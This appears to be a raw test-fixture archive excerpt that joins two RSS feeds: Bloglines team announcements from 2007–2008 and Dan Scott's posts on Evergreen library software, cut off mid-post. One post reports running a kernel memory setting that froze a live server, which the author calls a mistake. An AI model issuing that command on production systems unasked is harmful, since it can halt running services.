websites. We launched a Flickr feed module in <a href="http://beta.bloglines.com">Bloglines Beta</a> for our photography enthusiasts. We hope you liked the feature and also like Bloglines Beta. </p> <p> Enjoy! </p> <p> - Eric Engleman and the Bloglines Team </p> Mon, May 21 2008 12:12:12 PST http://www.bloglines.com/about/news#164 Bloglines Beta Gets Search, Flickr View and Improved Add Page <p>We've deployed all the features mentioned in the <a href="http://www.bloglines.com/about/news#162">previous blog post</a>. Here's a recap:</p> <p><b>Search</b></p> <p> Blog search is finally in Beta, and we've incorporated some popular <a href="http://www.ask.com/">Ask 3D</a> features. For example, related searches are displayed in the right-hand column next to results. All of classic's features are still there, but with newer styling. </p> <p><img src="http://worldofbloglines.wordpress.com/files/2008/03/search_results.png" alt="Search Results Screenshot" /></p> <br /> <br /> <p><b>Flickr View</b></p> <p> Selecting a <a href="http://www.flickr.com/">Flickr</a> feed and viewing it in quick view now uses the <a href="http://www.flickr.com/services/api/">Flickr API</a> to show images at their maximum resolution. </p> <p><img src="http://worldofbloglines.wordpress.com/files/2008/03/flickr_view.png" alt="Flickr View Screenshot" /></p> <br /> <br /> <p><b>Add Page</b></p> <p> Beta's old add page was spartan, to say the least. The new Add page has package tracking, weather feeds, and a new feature: Packs. You can now add popular categories of feeds with a single mouse click. </p> <p><img src="http://worldofbloglines.wordpress.com/files/2008/03/add_page1.png" alt="Add Page Screenshot" /></p> <br /> <br /> <p> Enjoy! </p> <p> - Eric Engleman and the Bloglines Team </p> Mon, Mar 24 2008 17:56:23 PST http://www.bloglines.com/about/news#163 Up Next for Beta: Search, Flickr View, Add Page <p>We&#8217;ve been a little quiet of late, mostly because we&#8217;re busy working on our next release. We still have a bit of QA to do, but we&#8217;d like to share some details.</p> <p><b>Search</b></p> <p>As you can see, we&#8217;re actively integrating blog search into <a href="http://beta.bloglines.com/">beta.bloglines.com</a>. We&#8217;ve incorporated some Ask 3D's popular features into Bloglines blog search. For example, related searches in the right-hand column in the screenshot below. In case you&#8217;re wondering, we&#8217;ve retained the filtering allowing you to search based on feed subscriber popularity. You also might notice an advertisement on that mockup. Keep an eye-out for CPC oriented ads in future releases.</p> <p><img src="http://worldofbloglines.files.wordpress.com/2008/02/search_results.jpg" alt="Search Results" /></p> <br /> <br /> <p><b>Flickr View</b></p> <p>We continue to expand our views for photo-feeds with a new preview mode for Flickr photo-feeds.</p> <p><img src="http://worldofbloglines.files.wordpress.com/2008/02/flickrview1.jpg" alt="Flickr View" /></p> <br /> <br /> <p><b>Add Feeds</b></p> <p>Many of you noticed that Beta's add page was pretty basic. Essentially, it was a stub for future development. We&#8217;ve finished off the next iteration on the page, so you can easily track packages, monitor weather, or see recommended packs.</p> <p><img src="http://worldofbloglines.files.wordpress.com/2008/02/add_page.jpg" alt="Add Page" /></p> <p>Blogliners, we're here working for you. Enjoy!</p> <p>- Eric Engleman and the Bloglines Team</p> Wed, Feb 27 2008 15:20:12 PST http://www.bloglines.com/about/news#162 Using Bloglines to Celebrate Valentine’s Day Year Round <p><img src="http://worldofbloglines.files.wordpress.com/2008/02/bloglines_heart_you.jpg" alt="bloglines_heart_you.jpg" /></p> <p>The great thing about feeds is that there is a selection for any topic, so this time celebrate Valentine’s Day year round. Here are some feeds of interest:</p> <ul> <li><a href="http://www.bloglines.com/preview?siteid=3266462">Love Quote of the Day</a> (<a href="http://www.bloglines.com/sub?id=3266462">Subscribe</a>) - A daily missive on the spirit of love.</li> <li><a href="http://www.bloglines.com/preview?siteid=1982544">iVillage - Love Advice for Singles and Couples</a> (<a href="http://www.bloglines.com/sub?id=1982544">Subscribe</a>) - A wide spectrum of timely advice on all things love.</li> <li><a href="http://www.bloglines.com/preview?siteid=4455968">Ask Men - Dating &amp; Love</a> (<a href="http://www.bloglines.com/sub?id=4455968">Subscribe</a>) - A variety of tips and techniques from a particularly male point of view.</li> </ul> <p>While cynics might insist the greeting card industry created Valentine’s Day, romance is always of interest. We would love to <a href="http://www.bloglines.com/contact">hear your stories</a> of how you use Bloglines to improve your love-life.</p> <p>Enjoy!</p> <p>- Eric Engleman &amp; the Bloglines Team</p> Thu, Feb 14 2008 12:09:52 PST http://www.bloglines.com/about/news#161 Keeping in Touch with Friends via Bloglines <p> At <a href="http://www.bloglines.com">Bloglines</a>, we experiment with feeds all the time. We wanted to point out 3 easy ways you can keep in touch with your friends on <a href="http://www.facebook.com">Facebook</a>, <a href="http://www.flickr.com">Flickr</a> and <a href="http://www.upcoming.org">Upcoming.org</a> via Bloglines. </p> <p> <b>Facebook</b> <br /> Need to have your Facebook Friends' Status Updates at all times? You can import your Status Update feed into your Bloglines account. Here's how you can get your Status Updates in Bloglines. Go to your home page. Look for your "Status Updates" section on the right side of the page near your photo. Click on "See All" and go to your Status Updates Page. On the right side of the page, you'll see a blue RSS Icon under the header "Subscribe." </p> <p> <img src="http://worldofbloglines.wordpress.com/files/2008/02/facebook_subscribe.jpg" alt="facebook_subscribe.jpg" /> <br /> </p> <p> <b>Flickr</b> <br /> Get a photo feed from a friend, family member or other Flickr-ino. Enter the user name in the Flickr Search. Look at the bottom of the user's profile page. Look way to the bottom and you'll find an RSS icon. Subscribe to it like any other feed. </p> <p> <img src="http://worldofbloglines.wordpress.com/files/2008/02/laughingsquid.jpg" alt="laughingsquid.jpg" /> <br /> </p> <p> <b>Upcoming.org</b> <br /> See what events your friends aretracking. Be sure to sign-in to Upcoming.org. Look for the area on your home page with the title, "My Friends' Events." (Be sure to have added friends before-hand.) Click on the link "My Friends' Events." Look for the RSS subscribe button in the upper right-hand corner of the page. </p> <p> <img src="http://worldofbloglines.wordpress.com/files/2007/10/upcoming_org_add.jpg" alt="upcoming_org_add.jpg" /> <br /> </p> <p> Keep us posted on other ways you use Bloglines. If you do post on your blog, be sure to send us an <a href="http://www.bloglines.com/contact">email</a>, so we can highlight your post for other Blogliners. </p> <p> Enjoy! </p> <p> - Eric Engleman and the Bloglines Team Wed, Feb 5 2008 19:19:19 PST http://www.bloglines.com/about/news#160 Bloglines Beta Debuts Photo Widget <p> We have another treat for you Blogliners who have been patiently awaiting our redesign. Today's special surprise is the Photo Widget View available within <a href="http://beta.bloglines.com">Bloglines Beta</a>.We've been experimenting with different views in the Bloglines Start Page. In this case, we display photos from Flickr inside a Photo Widget. Sure beats a text description. We currently only do this for Flickr, but in future releases you will be able to apply the photo view for other photo-oriented feeds. </p> <p> Here's a little before and after. </p> <p> <b>Before </b> </p> <p> <img src="http://worldofbloglines.wordpress.com/files/2007/12/flickr_europe.jpg" alt="flickr_europe.jpg" /> </p> <p> <b>After </b> </p> <p> <img src="http://worldofbloglines.wordpress.com/files/2007/12/flickr_europe_picture.jpg" alt="flickr_europe_picture.jpg" /> </p> <p> As a reminder, you can go to Flickr or other photos sites and create a feed tracking a specific topic or tag. In the example above our topic we tracked was "Europe." Or you can track a specific user on the site. So in other words, anytime a friend posts a picture on Flickr, you would see that picture on your Bloglines. </p> <p> Have Fun! </p> <p> - Eric Engleman and the Bloglines Team </p> Wed, Jan 16 2008 17:30:45 PST http://www.bloglines.com/about/news#159 Blog View - More Goodness for Bloglines Beta <img src="http://worldofbloglines.wordpress.com/files/2007/12/bloglines-logo-w-santa-claus.jpg" alt="bloglines-logo-w-santa-claus.jpg" /> <p>One of the problems with a feed reader is that you can't see the blog in its full glory. We've solved that problem in <a href="http://beta.bloglines.com">Bloglines Beta</a>. We've created a setting in 3-Pane View which allows you to get all of that bloggy goodness in your feed reader. Plus, you can get easy access to the comments, other features or, heck, even click on an ad to help you favorite blogger. This is great for highly designed blogs that cover knitting, design, art or funny pictures of cats.Here's how you get access to the feature. Go to 3-Pane View. Click on a headline. Look for the Preview or RSS buttons to toggle between Feed View and Blog View <i>(see below)</i>.</p> <img src="http://worldofbloglines.wordpress.com/files/2007/12/preview_rss.jpg" alt="preview_rss.jpg" /> <p>You can see the differences below with a feed from one of our favorite blogs, <a href="http://icanhascheezburger.com/">icanhascheezeburger</a>.</p> <h3>Feed View</h3> <img src="http://worldofbloglines.wordpress.com/files/2007/12/asgodasmywitness_2.jpg" alt="asgodasmywitness_2.jpg" /> <h3>Blog View</h3> <img src="http://worldofbloglines.wordpress.com/files/2007/12/asgodasmywitness_blog_2.jpg" alt="asgodasmywitness_blog_2.jpg" /> <p>Enjoy!</p> <p>- Eric Engleman and The Bloglines Team</p> Wed, Dec 19 2007 15:30:45 PST http://www.bloglines.com/about/news#158 Bloglines Beta Launches Saved <img src="http://worldofbloglines.wordpress.com/files/2007/12/bloglines-logo-w-santa-claus.jpg" alt="bloglines-logo-w-santa-claus.jpg" /> <p>We've been busy working on Bloglines Beta to provide some stocking stuffers for everyone during this holiday season. Tonight we rolled out Saved. Later in the week, we'll talk about a couple of other features: Flickr Widget and Blog Preview.</p> <img src="http://worldofbloglines.wordpress.com/files/2007/12/saved_feedtree.jpg" alt="saved_feedtree.jpg" /> <p>Just as it sounds, this features allows you to save a post for future reference. Many of our Blogliners are active filers who like to save their favorite posts. It's very easy. Let me walk you through the feature.</p> <p>You'll notice at the bottom of an article a new "Save" button located in-between "Pin" and "Email."</p> <img src="http://worldofbloglines.wordpress.com/files/2007/12/saved_with_red.jpg" alt="saved_with_red.jpg" /> <p>Clicking on the "Save" button creates a new inline window where you can add a comment and save the post to a specific folder.</p> <img src="http://worldofbloglines.wordpress.com/files/2007/12/save_inline.jpg" alt="save_inline.jpg" /> <p>To get to your saved articles, click on the "Saved" button in the left-hand corner of your screen. Simple!</p> <img src="http://worldofbloglines.wordpress.com/files/2007/12/lower_lefthand.jpg" alt="lower_lefthand.jpg" /> <p>You might ask, "Why have "Pin" and "Save"?" Sometimes you want article "Pinned" in your reading flow so you're forced to look at it again to really absorb the complexity of the post. Other times, you want to file away those posts that stand the test of time. That might sound very nuanced, but remember if you're reading 1,000 articles a day, like Blogliners, you develop several different reading modes.</p> <p>BTW - For people using Bloglines Classic, we've migrated your old "Clippings" into "Saved."</p> <p>Enjoy!</p> <p>- Eric Engleman and The Bloglines Team</p> Mon, Dec 17 2007 18:18:18 PST http://www.bloglines.com/about/news#157 Bloglines Scheduled Maintenance <img src="http://static.bloglines.com/images/blogposts/construction_saw.jpg" alt="Construction" height="257" width="172" /> <h6>Source: <a href="http://www.flickr.com/photos/irees/6054169/">Wools</a>, <a href="http://creativecommons.org/licenses/by-sa/2.0/deed.en">License</a></h6> <p>Tomorrow evening, we will be implementing network upgrades in our data center. The scheduled maintenance is expected to occur on 12/11 from 9:00 PM PST to 11:00 PM PST. During this time, Bloglines will not be available.</p> <p>- Eric Engleman & The Bloglines Team</p> Mon, Dec 10 2007 17:10:15 PST http://www.bloglines.com/about/news#156 Bloglines for the iPhone and Mobile Phones - Reminder <img src="http://worldofbloglines.wordpress.com/files/2007/12/ib_1_sm.jpg" alt="ib_1_sm.jpg" height="154" width="206" /> <p>Last week, I met a big name blogger who is also a dedicated user of Bloglines. I couldn't help but notice his iPhone typing skills. He was clearly pounding out at 40 words per minute which is super-fast on the iPhone. I was really excited to hear his impressions on iBloglines, our iPhone optimized version of Bloglines. Unfortunately, he hadn't heard of iBloglines. I was crestfallen. I realized I needed to do a better job telling Blogliners about our great products.</p> <p>No better time than the present to remind everyone of the great Bloglines mobile products. We have 2 major product sets: iBloglines for iPhones and Bloglines for mobile phones. </p> <h3>iBloglines for iPhones - located at <a href="http://i.bloglines.com">i.bloglines.com</a></h3> <table> <tr> <td align="center"><img src="http://i.bloglines.com/c/images/iui/pin_small_on.png" /></td> <td>Pin - Save the story for when you get back to your Mac or PC.</td> </tr> <tr> <td align="center"><img src="http://i.bloglines.com/c/images/iui/email.png" /></td> <td>Email Articles - Sharing is fun.</td> </tr> <tr> <td align="center"><img src="http://i.bloglines.com/c/images/iui/spotlight.png" /></td> <td>Search - Find the latest buzz with our blog and feed search.</td> </tr> <tr> <td align="center"><img src="http://static.bloglines.com/images/spinner.gif" /></td> <td>Auto Refresh of "My Library" - No need to hit refresh to get the latest updates.</td> </tr> <tr> <td align="center"><img src="http://i.bloglines.com/c/images/iui/download_image.png" /></td> <td>Hide Images - We know EDGE is slow, and your time is valuable.</td> </tr> <tr> <td align="center"><img src="http://i.bloglines.com/c/images/iui/pref_on.png" /></td> <td>Preferences - Personalizing is essential. Our Blogliners love to personalize their experience so they can optimize their feed reading flow.</td> </tr> </table> <h3>Bloglines for Mobile - located at <a href="http://m.bloglines.com">m.bloglines.com</a> and <a href="http://m.beta.bloglines.com">m.beta.bloglines.com</a></h3> <p>Why two different versions of Bloglines for mobile phones? One is Bloglines Classic (<a href="http://m.bloglines.com">m.bloglines.com</a>) which has been around for years. The other is our new beta product (<a href="http://m.beta.bloglines.com">m.beta.bloglines.com</a>) which has the latest set of enhancements.</p> <img src="http://static.bloglines.com/images/blogposts/beta-mobile-ft.jpg" /> <p>Bloglines has had a leading mobile feed reader for the last couple of years. It's always been one of our key product strengths. So we were really excited to make our mobile product even better. We were busy over the summer re-writing the mobile code from the ground up. A new version of mobile is available as part of the Bloglines Beta Releases. Go to <a href="http://m.beta.bloglines.com/">m.beta.bloglines.com</a> on your cell phone. When we feel it's ready, we'll make it available on Bloglines Classic. Key Features</p> <ul> <li>Start Page - Your Bloglines Start Page is displayed at the top of the screen. This way you can pull your favorite feeds to the top.</li> <li>Pin (formerly known as Keep New) - Sometimes you want to save that special post to read later when you're not on the go.</li> <li>Pagination - Instead of loading all of your posts, we parse out the posts into smaller bundles to fit into the memory constraints of cell phone browser. This has numerous benefits including improved speed, better reliability and safer "mark read" behavior.</li> </ul> <p>Enjoy</p> <p>Eric Engleman and the Bloglines Team</p> Tue, Dec 4 2007 14:41:14 PST http://www.bloglines.com/about/news#155 Bloglines Scheduled Maintenance <p> <img src="http://static.bloglines.com/images/blogposts/construction_saw.jpg" alt="Construction" height="257" width="172" /></p> <h6>Source: <a href="http://www.flickr.com/photos/irees/6054169/">Wools</a>, <a href="http://creativecommons.org/licenses/by-sa/2.0/deed.en">License</a></h6> <h6></h6> <p>This evening, the Bloglines Plumber and Team will be implementing network upgrades in our data center. The scheduled maintenance is expected to occur on 11/27 from 8:00 PM PST to 10:00 PM PST. During this time, Bloglines will not be available.</p> <p>- The Plumber and The Bloglines Team</p> Tue, Nov 27 2007 16:03:18 PST http://www.bloglines.com/about/news#154 Spammer Impersonates The Bloglines Team <p> Over the weekend, a few individuals, including some of us who work on Bloglines, reported receiving Spam from Bloglines. It was a surprise for us and the few other Blogliners who also received the emails. While the total number of emails sent appear to be small less than 1,000, we think it’s serious enough to address because the spammer impersonated official Bloglines correspondence. </p> <h3>The Event</h3> <p> Emails were sent recommending several posts on a Chinese Blog via the “send a post to a friend” feature on Bloglines. The email ended with a signature from “The Bloglines Team.” The emails were not sent by anyone associated with the Bloglines Team. </p> <h3>The Actions Taken</h3> <p> We monitored our logs and suspended the spammer’s IP address restricting their usage of Bloglines. In addition, on Monday 11/19/07, we briefly shut down the “send email” feature on Bloglines to further monitor the situation. </p> <h3>FYI</h3> <p> Bloglines sends out email to our subscribers for purposes specific to operating Bloglines (registration verification, change password, change of terms of service and other policies, significant product announcements, etc) Most product announcements can be found on the Bloglines News Feed. We take your privacy carefully and will protect our customers from spam. </p> <p> Take Care. </p> <p> -Eric Engleman and the Bloglines Team </p> Mon, Nov 19 2007 18:08:08 PST http://www.bloglines.com/about/news#153 Bloglines Volunteers Wanted! <p>Blogliners, we&#8217;re looking to meet you face-to-face for some quality time to discuss how you use a feed reader. We&#8217;re looking to meet people who are new to feeds and feed readers. We&#8217;ve met a lot of people over the past few months at conferences, the forums on the web, etc. And we love meeting our power users, but now we need to find some users who are new feeds and feed readers.</p> <p>Here are some key questions to determine if your right for our customer research:</p> <ul> <li>New to feeds and Bloglines in the past year.</li> <li>Consider yourself a non-techie.</li> <li>Willing to do some &#8220;homework&#8221; about 10 minutes a day for a few days.</li> <li>Have broadband.</li> <li>Live in the Bay Area - a must.</li> <li>Willing to meet with our researcher for 90 minutes during the week of 11/29 to 12/7.</li> </ul> <p>Modest compensation will be provided for you time.</p> <p>Since we know that Bloglines attracts a wide set of people, we want to get a good mix - all ages, home or work users. So we&#8217;ve created a short (5 minute) survey to help us find the folks who best represent the Bloglines audience. In turn, we&#8217;ll contact you to arrange a meeting with our researcher. If you&#8217;re interested, please check out the <a href="http://www.zoomerang.com/survey.zgi?p=WEB2274H2HX7HY">survey</a>.</p> <p>Thanks so much!</p> <p>- Eric Engleman and the Bloglines Team</p> Thu, Nov 15 2007 16:30:53 PST http://www.bloglines.com/about/news#152 Bloglines Top 1000 - “Pitchfork: Today” Blasts Another 790k Ranks <p>We were anxiously awaiting the second week of the <a href="http://beta.bloglines.com/topfeeds">Bloglines Top 1000</a>. We had no idea what was in store. To our surprise, we saw what we thought was a bug.</p> <p><img src="http://static.bloglines.com/images/blogposts/pitchfork.jpg" alt="Pitchfork Media" height="63" width="121" /> <a href="http://beta.bloglines.com/b/preview?siteid=13957548">&#8220;Pitchfork: Today&#8221;</a> skyrocketed 790,000 ranks. That&#8217;s right 790,000 ranks to land at 448. We double-checked the numbers and they are correct. Remember, we have millions of feeds in our database, so it is possible to jump thousands of ranks in one week. However, we will consider new ways to report this.</p> <p><img src="http://static.bloglines.com/images/blogposts/sewmomasew.jpg" alt="Sew Mama Sew" /> <a href="http://beta.bloglines.com/b/preview?siteid=4645357">&#8220;Sew, Mama, Sew&#8221;</a> continued to move its way up 352 rankings.</p> <p><img src="http://static.bloglines.com/images/blogposts/pioneer.jpg" alt="Confessions of a Pioneer Woman" height="100" width="89" /> <a href="http://beta.bloglines.com/b/preview?siteid=12957278">Confessions of a Pioneer Woman</a> who debuted last week moved up another 303 ranks to land at Rank: 697.</p> <p><img src="http://static.bloglines.com/images/blogposts/it.jpg" alt="IT" /> <a href="http://beta.bloglines.com/b/preview?siteid=29064">@IT</a> broke into the top 1000 last week with a big push from our Japanese Blogliners.</p> <p><img src="http://static.bloglines.com/images/blogposts/searchengine.jpg" alt="Search Engine Journal" /><a href="http://beta.bloglines.com/b/preview?siteid=2730859">Search Engine Journal</a> rose with a combination of news and helpful how-to articles like, &#8220;<a href="http://www.searchenginejournal.com/10-places-to-find-free-images-online-and-make-your-content-more-linkable/5979/">10 Places to Fine Free Images Online and Make Your Content More Linkable.</a>&#8220;</p><p> - Eric Engleman &amp; the Bloglines Team </p> Wed, Nov 14 2007 12:30:53 PST http://www.bloglines.com/about/news#151 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.coffeecode.net-feeds-index.rss20000664000175000017500000024306212653701626027474 0ustar janjan Coffee|Code : Dan Scott, Caffeinated Librarian Geek http://www.coffeecode.net/ Many ideas crammed into bits... en Serendipity 1.3.1 - http://www.s9y.org/ Sat, 12 Jul 2008 20:02:58 GMT http://www.coffeecode.net/templates/default/img/s9y_banner_small.png RSS: Coffee|Code : Dan Scott, Caffeinated Librarian Geek - Many ideas crammed into bits... http://www.coffeecode.net/ 100 21 Academic reserves for Evergreen: request for comments http://www.coffeecode.net/archives/164-Academic-reserves-for-Evergreen-request-for-comments.html Evergreen http://www.coffeecode.net/archives/164-Academic-reserves-for-Evergreen-request-for-comments.html#comments http://www.coffeecode.net/wfwcomment.php?cid=164 0 http://www.coffeecode.net/rss.php?version=2.0&type=comments&cid=164 dan@coffeecode.net (Dan Scott) <p> I've posted a second revision of the <a href="http://open-ils.org/dokuwiki/doku.php?id=feature:academic_reserves">"academic reserves" requirements RFC</a>. I'm not looking to boil the ocean with the first iteration of academic reserves for Evergreen (that's what third-party systems like <a href="http://reservesdirect.org">ReservesDirect</a> and Ares are for), but I am hoping that by engaging the community in a discussion we can ensure that we build something that satisfies the core set of requirements for academic institutions in the area of reserves. My lack of familiarity with what other institutions with more capable systems, or with local workarounds or third-party reserves systems installed, makes me nervous that I'm missing something obvious. So if you feel like weighing in on the discussion, please address your comments to the <a href="http://open-ils.org/listserv.php">Evergreen General mailing list</a>, add a comment here, or send me email if you prefer to keep your comments private. </p> <p> The biggest change in the second revision of the RFC is the inclusion of a base set of requirements for electronic reserves. For physical items alone, the requirements expressed in the RFC go far beyond the capabilities of the ILS we currently use at Laurentian; getting even basic support for electronic reserves in Evergreen would be a huge win for us when we migrate. </p> <p> That said, I'll probably start working on implementing a subset of the requirements real soon now; it should be easy enough to make a course correction should something significant turn up during the second round of comments. </p> Sat, 12 Jul 2008 16:02:58 -0400 http://www.coffeecode.net/archives/164-guid.html (unofficial) bzr repositories for Evergreen branches http://www.coffeecode.net/archives/163-unofficial-bzr-repositories-for-Evergreen-branches.html Evergreen http://www.coffeecode.net/archives/163-unofficial-bzr-repositories-for-Evergreen-branches.html#comments http://www.coffeecode.net/wfwcomment.php?cid=163 0 http://www.coffeecode.net/rss.php?version=2.0&type=comments&cid=163 dan@coffeecode.net (Dan Scott) <p>I wrote a long blog post about the distributed version control workflow that the two Laurentian students working on <a href="http://open-ils.org">Evergreen</a> (Kevin Beswick and Craig Ricciuto) are using successfully this summer, only to lose the post to a session timeout and my own lack of caution (note to self: if writing directly in the browser text field, CTRL-A CTRL-C before hitting preview!). So the gist of the blog post was:</p> <ul> <li><a href="http://bazaar-vcs.org">bzr</a>, with the <a href="http://bazaar-vcs.org/BzrSvn">bzr-svn plugin</a>, works quite well for cloning and updating from a centralized Subversion repository like Evergreen's; just watch out for memory consumption issues due to memory leaks in the Python bindings for Subversion (<a href="http://jelmer.vernstok.nl/blog/archives/218-bzr-svn-now-with-its-own-Subversion-Python-bindings.html">fixed</a> in the development version of bzr-svn)</li> <li>there's no compelling reason for Evergreen to move to a different version control system; it's easy to use a distributed version control workflow with the Evergreen Subversion repository as-is</li> <li>you can tar up a bzr branch and untar it where ever you like and "bzr up" will immediately happily work (which is how I worked around the severe memory constraints on this server that ended up repeatedly running into the Linux out of memory killer when I was trying to create a bzr-svn checkout from scratch)</li> <li>it's a hell of a lot faster to check out or branch from a bzr repository than it is from a Subversion repository, so if you're going to take this approach set up one clean bzr repository using bzr-svn and check out or branch from that using bzr, rather than repeatedly using bzr-svn to create new branches</li> </ul> <p>To enable you to get a bzr repo of Evergreen quickly, I've set up (unofficial, of course, but updated hourly) bzr repositories of the most useful Evergreen branches as follows:</p> <ul> <li><a href="http://bzr.coffeecode.net/ILS/trunk">Evergreen trunk</a></li> <li><a href="http://bzr.coffeecode.net/ILS/acq-experiment">Evergreen acq-experiment</a> (acquisitions and serials branch)</li> <li><a href="http://bzr.coffeecode.net/OpenSRF/trunk">OpenSRF trunk</a></li> </ul> <p> Enjoy! </p> Sat, 12 Jul 2008 15:46:26 -0400 http://www.coffeecode.net/archives/163-guid.html eIFL-FOSS ILS workshop on Evergreen, day one http://www.coffeecode.net/archives/162-eIFL-FOSS-ILS-workshop-on-Evergreen,-day-one.html Evergreen http://www.coffeecode.net/archives/162-eIFL-FOSS-ILS-workshop-on-Evergreen,-day-one.html#comments http://www.coffeecode.net/wfwcomment.php?cid=162 0 http://www.coffeecode.net/rss.php?version=2.0&type=comments&cid=162 dan@coffeecode.net (Dan Scott) <p> The following summary is taken almost directly from an email I wrote to one of the would-be participants who was, sadly, prevented from making it to Yerevan due to travel complications. I meant to clean this up earlier and post it, but have not yet found the time - so I might as well just post it as is with most names obfuscated and possibly some additional editorial comments. Those who are new to installing and configuring Evergreen might find this useful; and reading through it, I remembered a few challenges I planned to tackle <img src="http://www.coffeecode.net/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /> </p> <hr width="50%" /> <p> Shortly after I arrived on Monday, I was able to try out the install of Evergreen 1.2.1.4 that A. and G. from the Fundamental Science Library (FSL) had completed with only two email exchanges with me. I was very happy to see that they had successfully completed the install! There was only one minor problem with the structure of the "organizational unit" hierarchy that I had to fix. After that, we confirmed that we were able to import bibliographic records from Z39.50 and attached call numbers and copies to those records. Finally, we tried searching for the records in the catalogue and were delighted to see that everything was working as we had hoped. That allowed me to sleep well on Monday, in preparation for the first day of the workshop on Tuesday. </p> <p> After the introductions of the workshop participants on Tuesday, I gave the introduction to Evergreen presentation and Henri Damien Laurent of BibLibre demonstrated Koha. Both Henri Damien Laurent and I showed our respective library systems running with an Armenian interface, thanks to the translation efforts of Tigran! Then we broke into separate Koha and Evergreen groups to work together on our respective library systems. Of the attendees of the workshop, E. was the most interested in migrating his library (with 40,000 volumes) to Evergreen. A., from one of the 29 branches of the American University of Armenia (AUA), also attended most of the Evergreen session. Even though his institution is mostly interested in Koha, he wanted to be able to compare the two systems. Albert's colleague S. attended the Koha training session so they would be able to compare their experiences later. Our group also had R. from the Netherlands and A., G., and A. from FSL -- apparently Tigran is considering running Evergreen as a union catalogue, so his IT people are very interested in learning more. </p> <p> Our first exercise was to model the organizational unit hierarchy using the configuration bootstrap interfaces in the /cgi-bin/config.cgi. We began by drawing the hierarchy on a whiteboard. The "Yerevan Consortium" represented the Evergreen system as a whole; we added the FSL, MSU, and AUA systems as children of the Yerevan Consortium, and then added specific branches as children of each of these systems. While we were creating this hierarchy, I showed the participants how the organization unit type defines the labels used in the catalogue as well as the respective depth in the hierarchy for each type. </p> <p> We then ensured that the systems and branches in the hierarchy had the right types, and that the types were defined with valid parent-child relationships. We found a few types that were children of themselves, which causes a problem in searching. There was also some confusion about the role of types to organization units, resulting in the creation of types with labels like "FSL" rather than "Library System". After a few minutes of explanation and working through correcting the exercises, I think the participants were better able to understand the relationship between types and organization units. </p> <p> After we were satisfied with the structure of the organization unit hierarchy, I ran the autogen.sh script to update the catalogue and staff client representations of the hierarchy. Well, first I demonstrated how search in the catalogue will quickly be broken if you do not run the autogen.sh script <img src="http://www.coffeecode.net/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /> </p> <p> Our next step was to register new users with the Evergreen staff client. This helped introduce the participants to the staff client, as well as giving them a quick introduction to some parts of Evergreen that still need to be localized to allow regional variations on postal code formats, telephone numbers, and forms of identification. The default Evergreen staff client still enforces American conventions, but fortunately I have had to create patches for Evergreen to support my own country's standards so I can assure you that it is relatively easy to change or remove these format checks. In the future, it would be wonderful to include a localization pack for each locale interested in using Evergreen that supports regional variations on date formats, phone number patterns, etc. The participants were pleased with the feedback mechanism in the staff client that summarized all of the remaining problems with the current patron record (missing address, invalid phone number, etc) and made it easy to switch between screens without losing any of the data they had already entered. </p> <p> Once we had registered new users for each of our branches, we went to work importing new bibliographic records and attaching call numbers and copies to those records. This gave us a good opportunity to see how changing the scope of a search in Evergreen from "Everywhere" down to a specific branch changes the search results, and demonstrated how the organization type labels are displayed in the catalogue. As an aside, I should point out that in Evergreen 1.4 (due by the end of this summer), the labels are internationalized so that different labels can be displayed depending on the locale in which you are using the catalogue or staff client. Good news for those of us who work in bilingual or multilingual libraries! </p> <p> Now that we had records with copies attached and patrons registered in our Evergreen instance, we were able to use the catalogue's "My Account" features to try out features like sharable bookbags, account preferences, and the account summary. Users also have the ability to specify their own user names and to log in with those instead (which means that they can simply remember their unique nickname rather than, say, a 14-digit barcode). </p> <p> The first feature that the participants discovered, of course, was the strong password enforcement feature. When a patron is registered, the system automatically generates a random 4-digit password; however, this is not considered to be a safe password, so when they log in they are forced to change it to a longer password containing both numbers and letters. </p> <p> At this point, we also discovered a data validation bug: in the staff client, it is possible to enter a user barcode that consists of letters and numbers. However, in the catalogue, user barcodes containing letters are considered invalid and the system will not even attempt to log that user in; it simply rejects the barcode. I plan to ask E. to report this bug to the Evergreen mailing list; it would be an excellent outcome of the workshop if participants felt comfortable reporting problems to the mailing list, and reporting this problem in particular would help improve the quality of Evergreen. </p> <p> Things were going reasonably well, but we noticed that the system was running into a problem if you tried to edit a bibliographic record after you had already created or imported the record. I had rather fortunately already experienced this problem (it is a result of different behaviour regarding XML namespaces between different versions of LibXML2) and knew that it had been fixed in 1.2.2.1. So rather than trying to fix the problem with the installed version of 1.2.1.4, I decided to try upgrading our Evergreen system to the recently released 1.2.2.1 to demonstrate to the participants that the upgrade process was fast, reasonably well documented, and not nearly as complicated as the install process. This was, by the way, something Randy had urged me to do, so I blame him for the subsequent problems we experienced (hah!). </p> <p> The first problem is that the change from 1.2.1.x to 1.2.2.x requires the installation of a new Perl module from CPAN (JSON::XS). This is not much of a problem in itself, as the module is very easy to install and compile; however, given our internet connection I had to wait a long time for the CPAN repository metadata to be downloaded. The participants were still able to use the system while this was happening, but we ended up hitting the coffee break still waiting for CPAN to finish. (As an aside, Irakli and I were discussing the possibility of having the eIFL-FOSS coordinators investigate setting up local mirrors of FOSS resources like CPAN to speed up access to frequently used resources). </p> <p> When we returned from the coffee break, the JSON::XS install had finished but the participants were having problems searching and using the staff client. I checked the logs (using the "grep ERR /openils/var/log/*" command to start with) and saw that our database connections were dying for some reason. On a hunch, I checked the system logs ("dmesg") and discovered that the Linux "out of memory (OOM) killer" had started killing random processes to try to free up memory. It was killing the PostgreSQL processes, the Evergreen processes - anything! I was lucky, because I had been reading about the OOM on Linux after hearing about a Linux user that had run into a similar problem, and knew that the way to disable the OOM was to prevent Linux from overcommitting memory to processes in the first place. Wondering why our system had started running out of memory in the first place, I ran "free" and saw that it had been set up with no swap space; I confirmed this by running fdisk to see that there were no swap partitions. Here, however, I made a mistake. I ran "echo '2' > /proc/sys/vm/overcommit_memory" to prevent Linux from overcommitting memory to new processes and to prevent the OOM killer from killing any more random processes. But this also meant that I was immediately unable to launch any new programs - so I could not safely shut down PostgreSQL and Evergreen, and we had to turn the power off to the system. </p> <p> Fortunately, the system started up cleanly again (hurray for journalled filesystems) and I was able to complete the upgrade before the rest of our hands on session for the day was finished. A few things that are missing in the current upgrade instructions: </p> <ol> <li>You have to compile the new version of Evergreen. The easiest way to do this is to copy install.conf over from your previous version of Evergreen and run "make config" to ensure that all of the settings are still correct, then run "make" to build the new version of Evergreen. </li> 